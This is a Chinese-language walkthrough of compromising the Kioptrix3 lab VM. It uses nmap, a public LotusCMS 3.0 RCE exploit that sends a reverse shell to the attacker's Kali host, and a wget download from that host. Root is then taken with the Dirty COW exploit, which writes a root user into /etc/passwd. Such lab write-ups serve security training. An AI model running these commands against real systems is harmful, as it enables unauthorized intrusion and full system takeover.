信息收集
使用nmap发现靶机IP
进行端口扫描,发现开放22、80端口
nmap -A 192.168.93.151 -p 1-65535
进行网址访问IP
点击login,进入登陆页面,发现该网站cms为:LotusCMS
进行目录扫描
拼接/modules/ ,存在目录遍历
拼接/phpmyadmin
使用searchsploit搜索LotusCMS的历史漏洞,发现该CMS版本为3.0时存在命令执行漏洞
searchsploit LotusCMS
漏洞利用
使用了一个python版本的exp:GitHub - nguyen-ngo/LotusCMS-3.0-RCE-exploit
github里面搜索LotusCMS-3.0-RCE-exploit,下载并解压到kali
构造payload,反弹shell
python3 lotuscms.py -rh 192.168.93.151 -rp 80 -lh 192.168.93.130
192.168.93.151是靶机的ip
192.168.93.130是kali的ip
监听444端口,因为从下载的文件说明中可知,监听端口必须是444
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权
使用命令uname -a查看靶机的内核版本信息为:Linux Kioptrix3 2.6.24-24-server
使用命令cat /etc/*-release查看靶机的发行版本信息为:Ubuntu 8.04.3 LTS
使用searchsploit查找符合内核版本和发行版本的历史漏洞,漏洞很多
直接使用经典的脏牛漏洞
将exp下载下来,使用web服务上传到靶机,编译执行,在/etc/passwd文件写入一个具有root权限的用户
searchsploit -m 文件名字
进行下载
挂到服务上面,进行远程下载
主机:
python3 -m http.server
靶机:
cd /tmp
wget http://192.168.93.130/40839.c
gcc -pthread 40839.c -o 40839 -lcrypt
运行这个编译过后的文件,设置密码123456,会自动生成一个用户,跳转到这个用户
查看/etc/passwd,发现这个用户已经再里面了
进行跳转到这个用户